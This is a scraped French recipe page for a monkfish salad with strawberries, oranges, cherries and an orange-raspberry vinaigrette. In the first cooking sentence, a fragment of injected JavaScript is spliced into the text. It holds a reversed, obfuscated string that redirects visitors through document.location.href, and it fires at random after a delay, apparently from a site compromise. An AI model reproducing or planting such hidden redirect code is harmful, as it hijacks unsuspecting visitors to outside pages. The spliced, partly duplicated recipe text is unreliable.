Salade de lotte aux fruits rouges
2018-02-15- Cuisine : Poissons, Salade
- Thématique : Végétarien
- Niveau : Facile
Dans une casserole, diluez le sachet de court-bouillon avec l’eau froide, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Portez à ébullition, et plongez la lotte.
Ingrédients
Dans une casserole, diluez le sachet de court-bouillon avec l'eau froide, tout en remuant. Portez à ébullition, et plongez la lotte. Laissez frémir pendant 10 minutes, ne pas faire bouillir. Éteignez le feu et laissez refroidir dans le court-bouillon hors du feu. Rincez, équeutez les fraises. Pelez, coupez en quartiers les oranges. Rincez, équeutez, dénoyautez les cerises. Pelez râpez le morceau de gingembre frais. Triez, rincez, essorez la salade composée.
Dans un bol préparez la sauce, en mélangeant le jus d'orange, le vinaigre de framboise, l'huile de noisette, sel, poivre. Émulsionnez avec un fouet.
Répartissez dans des assiettes individuelles la salade, le poisson, les fruits. Nappez de sauce à l'orange. Dégustez fraisPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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